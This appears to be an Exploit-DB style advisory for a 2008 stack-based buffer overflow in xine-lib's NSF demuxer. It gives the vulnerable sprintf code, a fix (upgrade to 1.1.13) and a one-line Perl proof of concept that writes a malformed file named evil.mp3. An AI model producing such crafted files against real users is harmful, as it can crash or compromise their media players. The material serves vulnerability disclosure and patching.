header-logo
Suggest Exploit
vendor:
xine-lib
by:
milw0rm.com
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: xine-lib
Affected Version From: 1.1.12
Affected Version To: 1.1.12
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Stack-based Buffer Overflow in the NES Sound Format Demuxer

xine-lib <= 1.1.12 is prone to a stack-based buffer overflow in the NES Sound Format demuxer(demux_nsf.c). The vulnerability is caused due to a boundary error within the open_nsf_file() and demux_nsf_send_chunk() functions when handling a specially crafted NSF file. This can be exploited to cause a stack-based buffer overflow by e.g. tricking a user into opening a malicious NSF file. A proof-of-concept exploit is available.

Mitigation:

Upgrade to xine-lib version 1.1.13 or later.
Source

Exploit-DB raw data:

xine-lib <= 1.1.12 is prone to a stack-based buffer overflow in the NES 
Sound Format demuxer(demux_nsf.c).


- Code

open_nsf_file():

109: this->title = strdup(&header[0x0E]);

demux_nsf_send_chunk():

122: char title[100];
162: sprintf(title, "%s, song %d/%d",
            this->title, this->current_song, this->total_songs);


- Affected applications

http://xinehq.de/index.php/releases


- PoC

perl -e 'print 
"\x4E\x45\x53\x4D\x1A\x01\x01\x01\x80\x80\x18\x8A\x03\x8A" . "\x41" x 
114' > evil.mp3

# milw0rm.com [2008-04-16]